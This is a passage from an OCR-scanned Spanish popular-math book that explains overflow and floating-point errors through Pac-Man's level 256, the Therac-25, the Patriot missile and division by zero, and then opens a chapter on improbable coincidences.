Rtckstellen der Achszahler auf Null und dadurch Zugsgefahrdungen
zu vermeiden, darf die effektive Gesamtachszahl eines Zuges nicht
256 Achsen betragen.

Eso se traduce mads o menos como «para evitar el peligro de que se active una sefial de “vias despejadas”™
para una seccion de la red debido al reinicio a cero del contador de ejes, un tren no debe tener un numero
efectivo de ejes igual a 256».

Hay formas de mitigar los errores de desbordamiento. Si los programadores ven venir un
problema relacionado con el 256, pueden colocar un limite estricto para impedir que un valor
pase de 255. Sucede a todas horas, y es divertido ver como la gente se siente confundida con los
umbrales aparentemente arbitrarios. Cuando la aplicacion WhatsApp incrementd el limite de
cuantos usuarios pueden estar en el mismo grupo de chat de cien a 256, se informd de ello en el
periodico Independent de esta forma: «No esta claro por qué WhatsApp ha optado por ese
namero tan especifico».

Sin embargo, mucha gente si que lo sabia. Ese comentario desaparecié rapidamente de la
version en linea, con una nota a pie de pagina que explicaba que «algunos lectores han sefialado
que 256 es uno de los nimeros mas importantes en informatica». Siento lastima por el que se
encargara de su cuenta de Twitter esa tarde.

A esto lo llamo «solucion de la pared de ladrilloy. Si estd en un grupo de WhatsApp con 256
personas (usted y 255 amigos) e intenta afiadir a una 257. persona, el programa simplemente no le
permitird hacerlo. Pero, dado que usted afirma tener 255 amigos mejores que esa persona,
probablemente esa relacion sea tan débil que dicho individuo no se lo tomara como algo personal.
La amenaza de un error de desbordamiento es también la razon por la que el juego Minecraft tiene
un limite maximo de altura de 256 bloques. Lo cual es una auténtica solucién de pared de
ladrillos, nunca mejor dicho.

Una forma diferente de tratar con los desbordamientos es hacer un bucle de tal forma que
00000000 siga a 11111111. Eso es exactamente lo que sucede en Civilization y en los trenes
suizos. Pero en ambos casos se produjeron efectos colaterales no intencionados. Los ordenadores
se limitan a seguir a ciegas las reglas que les dan y hacen lo «logico», sin ninguna consideracion
por aquello que se considera «razonable». Esto significa que escribir un cédigo informatico
implica intentar tener en cuenta todos los resultados posibles y asegurarse de que al ordenador se



le ha dicho qué es lo que debe hacer. Si, programar requiere tener conocimientos de aritmética,
pero en mi opinion es la capacidad de pensar l6gicamente en escenarios hipotéticos lo que mas
une a los programadores con los matematicos.

Los programadores responsables de la version arcade original del juego Pac-Man
establecieron que el niimero del nivel se almacenara como niimero binario de 8 bits, el cual haria
un bucle cuando llegase al limite. Pero se olvidaron de tener en cuenta todas las consecuencias de
esa decision y en el nivel 256 aparece una enrevesada cadena de problemas técnicos, provocando
que el juego falle. No es que sea una gran pérdida: 255 niveles funcionales ya son muchisimos,
teniendo en cuenta que la mayoria de la gente solo llega a ver el primero. Pero para aquellos con
tiempo y monedas que gastar, hay cientos de niveles para explorar (cierto es que todos son
idénticos, excepto por el comportamiento de los fantasmas). Dicho esto, no he pasado del nivel 7.
Necesito ponerme las pilas.

El juego no falla en el nivel 256 porque no pueda almacenar el nimero. Como siempre, los
programadores empiezan a contar desde cero, por lo que el nivel 1 se almacena como indice 0, el
nivel 2 es el indice 1 y asi sucesivamente (utilizaré el término «indice» para referirme al nimero
almacenado, a diferencia del nimero real del nivel). El nivel 256 se almacena como indice 255,
que es 11111111 en binario. No pasa nada. Incluso avanzando hasta el nivel 257 volveria a poner
el indice a cero y devolveria a Pac-Man al primer laberinto. El juego deberia ser jugable
eternamente. Asi pues, jpor qué falla en el nivel 256?

El nivel 256 es un caos absoluto. O estrictamente hablando, no hay waka waka wakas.

El problema es la fruta. Para anadir algo de variedad a la dieta de Pac-Man a base de puntos
y fantasmas, hay ocho tipos diferentes de frutas, que aparecen dos veces por nivel (incluyendo una
campana y una llave que parece ser que Pac-Man se come con la misma facilidad con la que se
zampa una manzana o una fresa). Cada nivel tiene asignada una fruta que aparece en la parte baja
de la pantalla, junto con la ultima fruta que se ha comido Pac-Man. Es este puesto ornamental de
frutas el que causa el colapso completo del juego.



El espacio digital en los sistemas informaticos antiguos era tan escaso que, en el juego del
Pac-Man, solo se almacenan tres niumeros: el nivel en el que estamos, cudntas vidas quedan y
nuestra puntuacion. Todo lo demas es eliminado entre niveles. En cada nivel estamos jugando
contra fantasmas con amnesia que no recuerdan la cantidad de horas que llevamos dandoles
guerra. Por lo que el juego necesita ser capaz de averiguar qué fruta ha consumido Pac-Man
recientemente. Solo hay espacio para mostrar siete piezas de fruta, por lo que el juego tiene que
mostrar la fruta del nivel actual y de los seis anteriores (dependiendo de cudntos niveles se han
jugado).

En la memoria del ordenador existe un ment con la fruta y el orden en el que apareceran. Por
lo que, si el nivel es inferior al 7, dibuja tantas frutas como el nimero del nivel (por encima de
este, muestra las siete mas recientes). El problema se produce cuando el cédigo coge el indice del
nivel y lo convierte en un nimero del nivel afiadiendo una unidad. El nivel 256 es el indice 255, el
cual se incrementa en una unidad para pasar a ser... el nivel 0. Cero estd por debajo de siete, por
lo que intenta mostrar todas las piezas de fruta que marca el numero del nivel. Lo cual estaria bien
si dibyjara cero piezas de fruta, pero, lamentablemente, primero muestra los dibujos y luego
cuenta. El codigo dibyja la fruta y luego resta uno del nimero del nivel hasta que llega a cero.

dibujar fruta

restar 1 del numero de nivel
parar si el numero de nivel es cero
si no SEGUIR DANDO FRUTOS

Este no es un cédigo informatico real del Pac-Man. Pero sirve para hacerse una idea.

El ordenador intentara ahora dibujar 256 piezas de fruta en lugar de las habituales siete o
menos de siete. Bien, digo «fruta», pero el menu de frutas falla después de solo veinte lineas. Para
las veinte primeras, el codigo se fija en la siguiente posicion de la memoria del ordenador e
intenta interpretarla como una pieza de fruta. A continuacidn, sigue avanzando a lo largo de la
memoria como si esta fuera alguna tabla exotica de frutas extrafias y las dibuja lo mejor que
puede. Algunas no coinciden con los simbolos que se utilizan en el juego y, como si fuera una
colorida interferencia, la pantalla se llena de letras y signos de puntuacion.

Debido a una peculiaridad del sistema de coordenadas del PacMan, después de que las
frutas llenen la parte baja de la pantalla de derecha a izquierda, pasan a la esquina superior
derecha y empiezan a llenar la pantalla columna a columna. Cuando se han dibujado 256 piezas de
fruta, se ha llenado la mitad de la pantalla. Aunque parezca increible, el juego pone en marcha el
nivel, pero el sistema no completa un nivel hasta que Pac-Man se ha comido 244 puntos. En este
ultimo nivel, la fruta mutante ha destruido un montén de puntos, por lo que Pac-Man nunca puede
comerse los obligatorios 244 y estd condenado a vagar por lo que queda de su laberinto roto hasta
que aparece el hastio y sucumbe ante los fantasmas que lo persiguen. Lo que, da la casualidad, es
casi exactamente lo mismo que sienten un montdn de programadores cuando intentan acabar de
escribir su codigo.



Codigo mortal

El error mas peligroso que he encontrado jamas relacionado con el 256 se produjo en la maquina
de radioterapia Therac-25. Estaba disefiada para tratar a los pacientes con cancer a base de
rafagas, o de un haz de electrones o de rayos X potentes. Era capaz de utilizar ambos tipos de
radiacion en la misma maquina, ya fuera produciendo una corriente de poca intensidad de haces de
electrones a la que se exponia directamente al paciente, o mediante una corriente de electrones de
gran intensidad que dirigia hacia una placa metalica para producir los rayos X.

El peligro era que el haz de electrones necesario para producir rayos X era tan potente que
podia causar graves dafios al paciente si le alcanzaba directamente. Por lo que, si se aumentaba la
potencia del haz de electrones, era fundamental asegurarse de que el objetivo metalico y el
colimador (un filtro que concentra el haz de rayos X) se hubiera colocado entre el haz de
electrones y el paciente.

Por esto, y por muchas otras razones de seguridad, el Therac-25 utilizaba un bucle de una
pieza de codigo de configuracion, y solo si se verificaba que todos los sistemas estaban ajustados
de manera correcta, el rayo se podia activar. El soffware tenia un nimero almacenado con el
nombre pegadizo de Class3 (asi de creativos pueden llegar a ser los programadores cuando les
ponen nombres a sus variables). Solo después de que la Therac-25 hubiera verificado que todo
estaba bien estableceria que Class3 = 0.

Para asegurarse de que se realizaba la comprobacion todas las veces, el codigo de ajuste en
bucle le sumaba una unidad a Class3 al inicio de cada bucle para que no empezase de cero. Una
subrutina a la que se le dio un nombre un poquito mas adecuado, Chkcol, se activaba siempre que
Class3 fuese diferente a cero y luego comprobaba el colimador: después de que este (y el metal
objetivo) hubiera sido comprobado y se hubiera verificado que estaba en el lugar correcto, Class3
se podia resetear a cero y se podia disparar el haz.

Por desgracia, el nimero Class3 se almacenaba como un numero binario de 8 digitos que
volveria a ser cero después de haber llegado a su limite. Y el bucle de configuracion se repetia
una y otra vez mientras esperaba a que todo estuviera a punto, incrementando la variable Class3
cada vez que se ejecutaba. Por lo que cada 256.* vez que se ejecutaba el bucle de configuracion,
Class3 pasaba a ser cero, no porque la maquina fuese segura, sino simplemente porque el valor
habia llegado a 255 y vuelto de nuevo a ser cero.

Eso significa que aproximadamente el 0,4 % de las veces, el Therac-25 se saltaba la
ejecucion de Chkcol porque Class3 ya era igual a cero, como si el colimador se hubiese
comprobado y se hubiese verificado que se hallaba en la posicion correcta. Para un error con esas
consecuencias mortales, el 0,4 % de las veces es un porcentaje aterrador.

El 17 de junio de 1987, en el Yakima Valley Memorial Hospital (actualmente, el Virginia
Mason Hospital) del estado de Washington, en Estados Unidos, un paciente se disponia a recibir
ochenta y seis rads de una maquina Therac-25 (rad es una antigua unidad de absorcion de
radiacion). Sin embargo, antes de recibir su dosis de rayos X, el metal objetivo y el colimador
habian sido movidos fuera de su posicion para que la maquina pudiera ser alineada usando luz
visible. No se volvieron a colocar en su sitio.



El operador acciono el boton de «configuracién» en el momento exacto en el que Class3
habia vuelto a ser cero, Chkcol no se ejecutd y el haz de electrones se dispar6 sin que estuvieran
en su lugar ni el objetivo ni el colimador. En lugar de 86 rads, el paciente pudo recibir entre 8.000
y 10.000 rads. Fallecid en abril de ese mismo afio por complicaciones derivadas de la sobredosis
de radiacion que recibio.

El arreglo del problema del software era preocupantemente sencillo: el bucle de
configuracion se rescribi6 de tal forma que daria a Class3 un valor especifico diferente a cero en
lugar de incrementar su valor previo. Da que pensar que cometer una negligencia en la forma en la
que los ordenadores hacen un seguimiento de los niimeros puede provocar muertes que se podrian
haber evitado.

Cosas en las que los ordenadores no son excelentes

(Cuanto es 5 — 4 — 1?7 No es una pregunta trampa: la respuesta es cero; y no siempre resulta tan
facil como parece. Excel puede fallar. El sistema de digitos binarios utilizado por los ordenadores
para almacenar nimeros en la memoria digital no solo provoca errores de desbordamiento, sino
que deja de cumplir con las matematicas aparentemente mas sencillas.

Si cambio ese 5 —4 — 1 por 0,5 — 0,4 — 0,1, la respuesta correcta sigue siendo cero, pero la
version de Excel que estoy utilizando piensa que es -—2,77556E-17. Y, aunque
—0,0000000000000000 277556 puede que no sea exactamente cero, si que estd muy cerca. Por lo
que Excel estd haciendo algo bien. Pero también estd haciendo algo radicalmente mal.

Al B fx| =(0.5 - 0.4 -0.1)*1
B €

. -2.77556E-17

2

3

Ah, bueno, resulta poco prdctico.

En resumen, algunos nimeros provocan diferentes problemas de base numérica. Nuestros
numeros humanos de base 10 son terribles a la hora de tratar con tercios. Pero nos hemos
acostumbrado a ello y lo podemos compensar. Matematicas répidas: ;cuanto es 1 — 0,666666 —
0,333333. Puede que su instinto le diga que es cero, porque 1 —2/3 — 1/3 = 0. Pero esos digitos no
son lo mismo que 54 y 13, porque para representarlos con exactitud son necesarios infinitos seis y
tres. La respuesta buena es 0,000001, que es ligeramente distinto a cero porque solo dispongo de
un espacio limitado para escribir las versiones decimales de 24 y 4. Si sumamos 0,666666 y
0,333333 nos da 0,999999, no 1.

Los binarios tienen el mismo problema intentando almacenar algunas fracciones. Sumar 0,4 y
0,1 no da 0,5 en binario, sino, mas bien:

04=0,0110011001100...
0,1=0,000110011001T1...



04+0,1=0,01111111111171...

Un ordenador no puede almacenar los infinitos digitos de las versiones binarias de 0,1 y 0,4,
por eso su suma no llega a 5.1 Pero dado que los humanos nos hemos acostumbrado a las
limitaciones de los nimeros de base 10, los ordenadores han sido programados para corregir los
errores introducidos por los céalculos binarios.

Si introducimos = 0,5 — 0,4 — 0,1 en Excel, lo entendera bien. Sabe que la suma de
0,0111111... deberia ser exactamente 4. Sin embargo, si introducimos = (0,5 — 0,4 — 0,1) * 1,
arrastra el error. Excel no comprueba esta clase de errores durante los célculos, solo al final. Al
hacer como ultimo paso una inofensiva multiplicacién por uno, le hemos dado a Excel una falsa
sensacion de seguridad. Y por eso no analiza la respuesta antes de presentarnosla.

Los programadores de Excel afirman que no son los responsables directos. Se adhieren a los
estindares del Instituto de Ingenieria Eléctrica y Electronica (IEEE por sus siglas en inglés)
relativos a la aritmética realizada por ordenadores, con solo unas pocas variaciones en la forma
en la que tratan los casos inusuales. El IEEE establecio el estindar 754 en 1985 (actualizado mas
recientemente en 2008) para acordar el modo en que los ordenadores deberian lidiar idealmente
con las limitaciones de hacer calculos matematicos con nimeros binarios de precision finita.2

Dado que son fruto de los mismos estandares, veremos aparecer la misma clase de
problemas siempre que le pidamos a un ordenador que realice las operaciones matematicas por
nosotros. Incluyendo los teléfonos modernos. Imaginese que esta planeando su agenda. ;Qué haria
si necesitara saber cuantos pares de semanas hay en setenta y cinco dias? La mayoria de personas
abririan la aplicacion calculadora. Pero le puedo garantizar que usted resolverd mejor este
problema que una calculadora.

Coja su teléfono y abra la aplicacion de la calculadora. Si introduce 75 + 14, la respuesta
5,35714286... aparecerd instantineamente en la pantalla. Por lo que setenta y cinco dias son un
poco mas de cinco pares de semanas. Para saber cuantos dias extra hay, reste cinco y multiplique
los restantes 0,35714286... de un par de semanas por catorce. Lo que ahora le muestra su
calculadora no es correcto.

En algunos teléfonos la respuesta serd 5,00000001 o muy parecida. En otros, el resultado
sera 4,9999999994. Los propietarios de un iPhone podran ver la respuesta correcta, 5, pero eso
no les da derecho a ser petulantes; gire el iPhone para que la calculadora cambie a modo
cientifico y, en versiones antiguas de 10S, la respuesta completa sera revelada: 4,9999999999.
Acabo de abrir el programa de la calculadora en mi ordenador y da como respuesta
5,00000000000004. Debido a las limitaciones de los nimeros binarios, los ordenadores se
acercan mucho, pero no completamente. Al igual que cualquier producto alimenticio con la
palabra «light» en su titulo, siempre es un poco media verdad.

Los peligros del truncamiento

En el escenario a vida o muerte de la guerra, un simple error puede provocar la pérdida de
muchas vidas. Y, aunque las guerras estdn indisolublemente vinculadas a la politica, creo que
todavia podemos analizar de forma objetiva como pequeiios errores matematicos pueden provocar



resultados desastrosos en cuanto al coste de vidas humanas. Incluso un error matematico tan
pequefio como de un 0,00009536743164 %.

El 25 de febrero de 1991, durante la primera guerra del Golfo, se dispard un misil Scud
contra los barracones del ejército de Estados Unidos cerca de Dhahran, Arabia Saudi. Al ejército
estadounidense no le sorprendio, ya que disponian de un «sistema de defensa de misiles Patriot»
para detectarlos, seguirlos e interceptar cualquier misil de ese tipo. Utilizando el radar, el Patriot
detectaria un misil entrante, calcularia su velocidad y la utilizaria para seguir sus movimientos
hasta que se disparara un contramisil para destruirlo. Excepto que un descuido matematico en el
codigo del Patriot haria que lo perdiera.

Disenado originalmente como un sistema portatil para interceptar los aviones enemigos, la
bateria Patriot se habia actualizado a tiempo para la guerra del Golfo, para asi poder ser utilizada
para defenderse de los misiles Scud, mucho mas veloces, que podian viajar a velocidades
increibles que rondaban los 6.000 km/h. Los Patriots de la guerra del Golfo se colocaban en
posiciones estaticas en lugar de estar en movimiento, que es para lo que fueron disefiados.

Estar inmévil implicaba que los sistemas del Patriot no se encendian y apagaban
rutinariamente (esto, como ya hemos visto con anterioridad, puede producir algunos problemas
con el control del tiempo interno). El sistema utilizaba un nimero binario de 24 digitos (3 bytes)
para almacenar el tiempo en décimas de segundo desde la ultima vez que se puso en marcha, lo
que significaba que podia funcionar durante 19 dias, 10 horas, 2 minutos y 1,6 segundos antes de
que se produjera un error de desbordamiento. Y debid de parecerles mucho tiempo cuando lo
estaban disefiando.

El problema fue como ese nimero de décimas de segundo era convertido en valor de coma
flotante que equivalia a los segundos exactos. Las matematicas implicadas son bastante sencillas:
se multiplica por 0,1, que es como si se dividiera por diez. Pero el sistema del Patriot almacenaba
el 1/10 como un nimero binario de 24 bits, provocando exactamente el mismo problema que tenia
Excel cuando restamos 0,4 y 0,1 de 0,5: estd mal por una diminuta cantidad.

0,00011001100110011001100 (base 2) = 0,099999904632568359375 (base 10)
0,1 —0,099999904632568359375 = 0,000000095367431640625

Este es el error absoluto para 0,1 segundos, un error del 0,000095367431640625 %.

Puede que un error de 0,000095 % no parezca gran cosa: solo erroneo por unas
millonésimas. Y cuando el valor del tiempo es pequefio, el error también lo es. Pero el problema
con un error de porcentaje es que, cuanto mas grande se hace el valor, mas crece el error. Cuanto
mas tiempo estaba en marcha el sistema Patriot, mayor era el valor del tiempo y mayor el error
acumulado. Cuando se lanzo6 el misil Scud, el cercano sistema Patriot llevaba en marcha de forma
continua unas cien horas, aproximadamente 360.000 segundos. Eso es, mas o menos, un tercio de
un millon de segundos. Por lo que el error era de un tercio de un segundo.

Puede que un tercio de segundo no parezca mucho tiempo hasta que estds siguiendo a un misil
que va a 6.000 km/h. En un tercio de segundo, un misil Scud se puede haber desplazado 500
metros. Es muy dificil seguir e interceptar algo que estd a medio kilometro de distancia del lugar
en el que esperabas que estuviera.



El sistema Patriot fue incapaz de detener el misil Scud y este alcanz6 la base estadounidense,
matando a veintiocho soldados e hiriendo a unas cien personas mas.

Es otra costosa leccion sobre la importancia de conocer los limites de los nimeros binarios.
Pero en esta ocasion trajo otra leccidn afiadida cuando se trata de arreglar los errores cometidos.
Cuando se actualizd para seguir el rastro a los misiles Scud, mucho mas veloces, el método de
conversion del tiempo también se actualizo, pero no de forma global. Algunas conversiones de
tiempo del sistema todavia utilizaban el antiguo método.

Irénicamente, si el sistema se hubiera alejado del tiempo de forma mantenida, todavia podria
haber funcionado correctamente. Seguir la pista de un misil exige un seguimiento preciso de las
diferencias temporales, por lo que un error generalizado se podria haber contrarrestado. Pero, en
esta ocasion, partes diferentes del sistema estaban utilizando distintos niveles de precision en su
conversion y aparecid la discrepancia. La actualizacion incompleta es la razoén por la que el
sistema no pudo detectar el misil que se dirigia hacia la base.

Mas deprimente todavia es que el ejército de Estados Unidos conocia este problema, y el 16
de febrero de 1991, presentd una nueva version del software para arreglarlo. Como se necesitd
cierto tiempo para distribuirlo a todos los sistemas Patriot, también se envié un mensaje para
advertir a los usuarios de Patriot de que no permitieran que el sistema funcionase de forma
continua durante largos periodos de tiempo. Pero no se especificé en qué consistia exactamente
eso de «durante largos periodos de tiempo». Al igual que ocurre con los problemas matematicos,
veintiocho muertes también fueron el resultado de arreglar deficientemente un codigo y de la falta
de un mensaje claro que dijera, por ejemplo, que lo reiniciaran una vez al dia.

El parche del software lleg6 a la base de Dhahran el 26 de febrero. El dia posterior al ataque
del misil.

Nada de lo que preocuparse

En matematicas, es imposible dividir nimeros por cero. Este tema ha propiciado mas de una
discusion en internet, con personas bienintencionadas que aseguraban que la respuesta al dividir
por cero es infinito. Excepto que no lo es. El argumento es que si cogemos 1/x y permitimos que x
se acerque cada vez mas a cero, el valor crecera rapidamente convirtiéndose en una cifra
infinitamente grande. Lo cual es una verdad a medias.



oy =1

Esta linea muestra el resultado de dividir uno por numeros cercanos a cero.

Solo es cierto si nos aproximamos a ¢l desde la direccion positiva; si x empieza siendo
negativo y luego se acerca a cero desde abajo, el valor de 1/x se dirige hacia el infinito negativo,
en una direccion completamente opuesta al anterior. Si el valor limitante es diferente dependiendo
de la direccion en la que nos aproximamos, en matematicas decimos que el limite es
«indeterminadoy». No puedes dividirlo por cero. El limite no existe.

Pero ;qué ocurre cuando los ordenadores intentan dividir por cero? A menos que les hayan
dicho explicitamente que no pueden dividir por cero, lo intentan ingenuamente. Y los resultados
pueden ser espantosos.

Los circuitos informaticos son muy buenos sumando y restando, por lo que las matematicas
que hacen estan construidas a partir de ahi. La multiplicacion es solo una suma repetida, lo cual es
bastante facil de programar. La division es solo un poco mas complicada: es una resta repetida y
luego puede haber algun resto. Por lo que dividir 42 entre 9 implica restar 9 todas las veces
posibles, descontando 9 de la cifra inicial: 42, 33, 24, 15 y 6. Han sido cuatro pasos, por lo que
42 + 9 =4,6666...



Si a un ordenador le pedimos que calcule 42 + 0, este método para dividir falla. O mas bien,
nunca falla, pero sigue infinitamente. Tengo una calculadora personal Casio mini de 1975 en mis
manos. Si le pido que calcule 42 + 0, la pantalla se llena de ceros como si se hubiera estropeado,
hasta que le doy al botdn «ver digitos extra» y la calculadora revela que estd intentando obtener
una respuesta y esa respuesta no para de crecer. La pobre Casio esta restando constantemente cero
de cuarenta y dos y llevando la cuenta de cuantas veces lo ha hecho.

Incluso las calculadoras mecadnicas mas antiguas tenian el mismo problema. Excepto que
tenian una manivela y necesitaban que un humano estuviera accionandolas durante los calculos
mientras ellas continuaban su initil mision de restar ceros. Para la gente auténticamente perezosa
del pasado existian calculadoras electromecanicas que tenian un motor incorporado que aportaba
la energia para realizar los célculos de forma automatica. Hay videos en internet de personas
haciendo una division entre cero con una de estas maquinas; el resultado de lo cual era estar
operando eternamente (o hasta que ya no se aportaba energia).

Una forma facil de arreglar este problema en los ordenadores modernos es anadir una linea
extra al cddigo con la que se le dice al ordenador que ni siquiera se moleste. Si esta escribiendo
un programa informatico para dividir el nimero a por el nimero b, este es un pseudocddigo sobre
como se podria definir la funcion para evitar el problema:

def dividing(a,b):
if b= 0: return ‘Error’
else: return a/b

En el momento de escribir esto, el ultimo iPhone debe tener algo casi exacto a lo anterior. Si
escribo 42 + 0 aparece la palabra «Error» en la pantalla y evita seguir adelante con la operacion.
La calculadora incorporada en mi ordenador va un paso mas alld y muestra el mensaje «No es un
numero». Mi calculadora de bolsillo (Casio x-991EX) da «MathERROR». He hecho videos de



unboxing con calculadoras en las que las desempaqueto y las analizo. (Mas de tres millones de
visitas y subiendo.) Una de las pruebas que siempre realizo es dividir entre cero y comprobar qué
hace la calculadora. La mayoria se comportan muy bien.

Pero, como siempre, algunas calculadoras se cuelan. Y no solo las calculadoras: los buques
de guerra de la Marina de Estados Unidos también pueden obtener divisiones entre cero erroneas.
En septiembre de 1997, el crucero USS Yorktown se qued6 sin potencia porque su sistema de
control informatico intenté dividir entre cero. La Marina lo estaba utilizando para probar su
proyecto Smart Ship: utilizar ordenadores que ejecutaban Windows en barcos de guerra para
automatizar parte del funcionamiento del barco y reducir la tripulacion en aproximadamente un 10
%. Dado que el barco estuvo flotando a la deriva durante mas de dos horas, estd claro que tuvo
éxito en cuanto a dar a la tripulacion mas tiempo libre.

La frecuencia con la que aparecen ejemplos militares de matematicas que salen mal no es
porque las fuerzas armadas estén especialmente negadas para las matematicas. En parte, es porque
se dedican a la investigacion y al desarrollo, por lo que estan en la vanguardia de lo que se puede
hacer, lo cual invita a que se cometan errores. Ademads, tienen cierta obligacion publica de
informar sobre las cosas que han salido mal. Obviamente, un monton de errores matematicos que
sin duda alguna deben ser fascinantes nunca se han desclasificado, pero en una compaiia privada
se silencian incluso muchos mas. Por lo tanto, me veo limitado a hablar sobre errores de los que
se ha informado abiertamente.

En el caso del USS Yorktown, los detalles de lo sucedido siguen siendo un poco confusos.
No esta claro si el barco tuvo que ser remolcado hasta el puerto o si finalmente recuperd la
potencia en el mar. Pero si que sabemos que se tratdo de un error debido a una division entre cero.
Parece ser que el error empezd con alguien introduciendo un cero en alguna parte de una base de
datos (y la base de datos lo consider6 como niimero, no una entrada nula). Cuando el sistema
dividio por la cifra que habia en esta entrada, la respuesta empez6 a elaborarse a toda prisa como
en una calculadora barata. Esto provoco un error de desbordamiento cuando se hizo mas grande
que el espacio de la memoria informatica de su interior. Hizo falta un supergrupo de errores
matematicos, dirigidos por la division entre cero, para tumbar todo un barco de guerra.
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PROBABILIDAD Y ERROR

Los sucesos poco probables pueden producirse. El 7 de junio de 2016, Colombia estaba jugado
contra Paraguay un partido de la Copa América. El arbitro lanzd una moneda al aire para ver qué
equipo elegia campo. Pero la moneda cayd perfectamente sobre su canto. Después de un momento
de duda y de las risas de los jugadores que estaban cerca y que vieron lo que sucedi6, el arbitro
recogio la moneda y la lanzo de nuevo, esta vez con éxito.

Reconozco que la hierba facilita que una moneda aterrice sobre su canto. Que eso ocurra
sobre una superficie dura es casi imposible. Creo que la moneda con las probabilidades mas altas
de caer de canto es la antigua de una libra del Reino Unido (en circulacion desde 1983 a 2017),
que es la moneda para uso diario mas gruesa que he visto jamas. Para comprobar cuan probable es
que caiga sobre su canto, me senté y me pasé tres dias lanzando una. Después de diez mil intentos,
habia caido de canto catorce veces. No esta mal. Sospecho que la nueva moneda de una libra
tendra unas probabilidades parecidas, pero dejaré que sea otro el que haga esos diez mil
lanzamientos.

Para algo mucho mas delgado como es el nickel estadounidense, sospecho que haran falta
decenas de miles de lanzamientos para conseguir un solo caso exitoso. Pero sigue siendo posible.
Si quiere que algo improbable ocurra, solo necesita la paciencia necesaria para crear las
suficientes oportunidades que permitan que eso ocurra. O, en mi caso, paciencia, una moneda, un
montdn de tiempo libre y esa clase de personalidad obsesiva que hace que estés sentado en una
habitacion lanzando una moneda al aire ta solo, a pesar de las desesperadas suplicas de amigos y
familiares para que lo dejes.

A veces, la repeticion de intentos no es algo tan obvio. Una de mis fotografias favoritas de
todos los tiempos es la de alguien llamada Donna, tomada en 1980 cuando, de nifia, visitaba
Disney World. Muchos afios después, estaba a punto de casarse con su ahora marido, Alex, y
estaban mirando los viejos albumes familiares de fotos. Donna le ensefio su foto a Alex, quien se
percatd de que una de las personas que aparecian en el fondo empujando un carrito de bebé era su
padre. Y si, era su padre. ;Y ¢l era el nifio que iba en el carrito! Donna y Alex se habian
fotografiado juntos, por casualidad, quince afios antes de coincidir de nuevo y finalmente casarse.

Obviamente, esto atrajo la atencidon de los medios de comunicacién: tenia que ser el destino
el que provocd que se hubieran fotografiado juntos. jEstaban destinados a casarse entre ellos!
Pero no es el destino; solo son estadisticas. Es como lanzar una moneda al aire y que esta caiga
sobre su canto. Las probabilidades de que eso ocurra son increiblemente bajas, pero si,
heroicamente, lo intenta las suficientes veces, puede estar casi seguro de que acabara ocurriendo.



La coincidencia es casi tan increible como que alguien quiera la foto que le han hecho con Smee.

Las probabilidades de que cualquier pareja sea fotografiada junta por casualidad durante su
juventud son increiblemente pequefias. Pero no son cero, y creo que son lo suficientemente
grandes para que no nos sorprendamos cuando ocurre. Piense en cudntas personas desconocidas
«al azar» aparecen en fotografias suyas. ;Cientos? ;Miles? Ahora que todos los méviles tienen
camara, no creo que sea exagerar si decimos que una persona joven de hoy en dia puede haber
sido fotografiada junto a diez personas diferentes al azar por semana. Eso, a los veinte afios, son
diez mil personas con las que comparte fotografias. Por supuesto, debe haber algin requisito y no
todos los que aparecen en el fondo de las fotos son alguien con quien te podrias casar. Asi pues,
seamos conservadores y digamos que un humano medio habré sido fotografiado con al menos unos
pocos cientos de personas con las que potencialmente se podria casar.

La probabilidad de que una persona especifica tenga una relacion seria con una de esos
pocos cientos de personas es increiblemente pequena. Hay otros miles de millones de personas en
el mundo con las que poder casarse. La probabilidad de llegar a casarse con una de esas parejas
es de cien entre miles de millones de parejas potenciales. No son muchas. Son comparables (si no
peores) a la probabilidad de ganar la loteria. Y, del mismo modo que por ganar la loteria,
personas como Donna y Alex deberian estar alucinando por lo afortunadas que son.

Pero, como ocurre con la loteria, no nos deberia sorprender que alguien resulte afortunado. A
usted le parece increible ganar la loteria, pero no lo es que alguien la gana. Nunca leera titulares
de periodicos diciendo cosas como: «jIncreible! jEsta semana volvid a haber un ganador de la
loterial». Al jugar tanta gente, no es sorprendente que haya ganadores de manera regular.

No nos habriamos fijado en Donna y Alex si esta coincidencia no hubiera sucedido. Son dos
personas aleatorias que viven en Norteamérica. Solo nos preocupamos por ellos porque existe
esta fotografia. Incluso aunque las posibilidades de que esto le ocurriera a usted pudieran ser solo
de cien entre miles de millones, siguen existiendo miles de millones de personas a las que les
podria ocurrir. Pienso que la poblacién con la que una persona se podria casar y la poblacion a la
que esto le podria ocurrir se contrarrestan. Segiin mi logica, en toda poblacion podriamos esperar
que hubiera tantas «fotos milagro» como esta como el nimero de veces que calculamos que la
persona media de esa poblacion ha sido fotografiada con extrafios. Deberia haber cientos de fotos
como esa por ahi.



Puse a prueba esta teoria cuando estaba de gira en 2013 con mi espectaculo Matt Parker:
Number Ninja. Conté la historia de Donna y Alex y dije que deberia haber mas extrafias
coincidencias como esa. Y, en efecto, después de uno de los espectaculos, alguien me hablo sobre
un caso similar que le habia ocurrido a un amigo. Tampoco era una gira mundial ni nada parecido:
fueron unos veinte programas con un publico total de puede que cuatro mil personas. Y, aun asi,
pude encontrar un nuevo ejemplo gracias a una de las personas del publico.

Kate y Chris se conocieron cuando estudiaban en la Universidad de Sheffield, en 1993, y
pocos anos después decidieron dar la vuelta al mundo. Pasaron un tiempo en una granja en la parte
occidental de Australia que era propiedad de Jonny y Jill, parientes lejanos de Kate (el pariente
comun mas cercano era el tatarabuelo, pero las familias habian mantenido el contacto). Jill sacé
un album de fotos del nico viaje que habia realizado a Inglaterra porque en ¢l habia una foto
tomada en algiin lugar que no sabia identificar.

Al resto de fotos del album les habia puesto una etiqueta en la que especificaba donde fueron
tomadas, pero esta era la tnica de la que Jill desconocia la localizacion. Se la enseid a la pareja
y Chris reconoci6 que se trataba de Trafalgar Square en Londres. Y afiadio: «jCaray! Ese tipo se
parece a mi padre. Y esa, se parece a mi madre. Y esa, a mi hermana. Y ese, soy yo». La foto
habia sido tomada en una de las dos tnicas visitas que realiz6 a Londres durante su infancia.

Imaginese atravesar medio mundo solo para ser recordado por lo que llevaba puesto de adolescente.

Kate y Chris llevan ahora ya dos décadas juntos y contaron la historia de la fotografia en su
boda como prueba de que estaban destinados a estar juntos. Creo que deberian saber que es
asombroso que tengan una fotografia y una historia con estas. La mayoria de nosotros no las
tenemos. Pero no deberiamos asombrarnos de que le suceda a alguien.

Un pensamiento un poco triste afladido: no se olvide de que, por cada foto de este tipo que se
encuentra, hay muchas mas que pasan inadvertidas. Y muchas, muchas mas que estuvieron a punto
de ser tomadas, pero alguien dispard un poquito antes o después del momento perfecto. No se
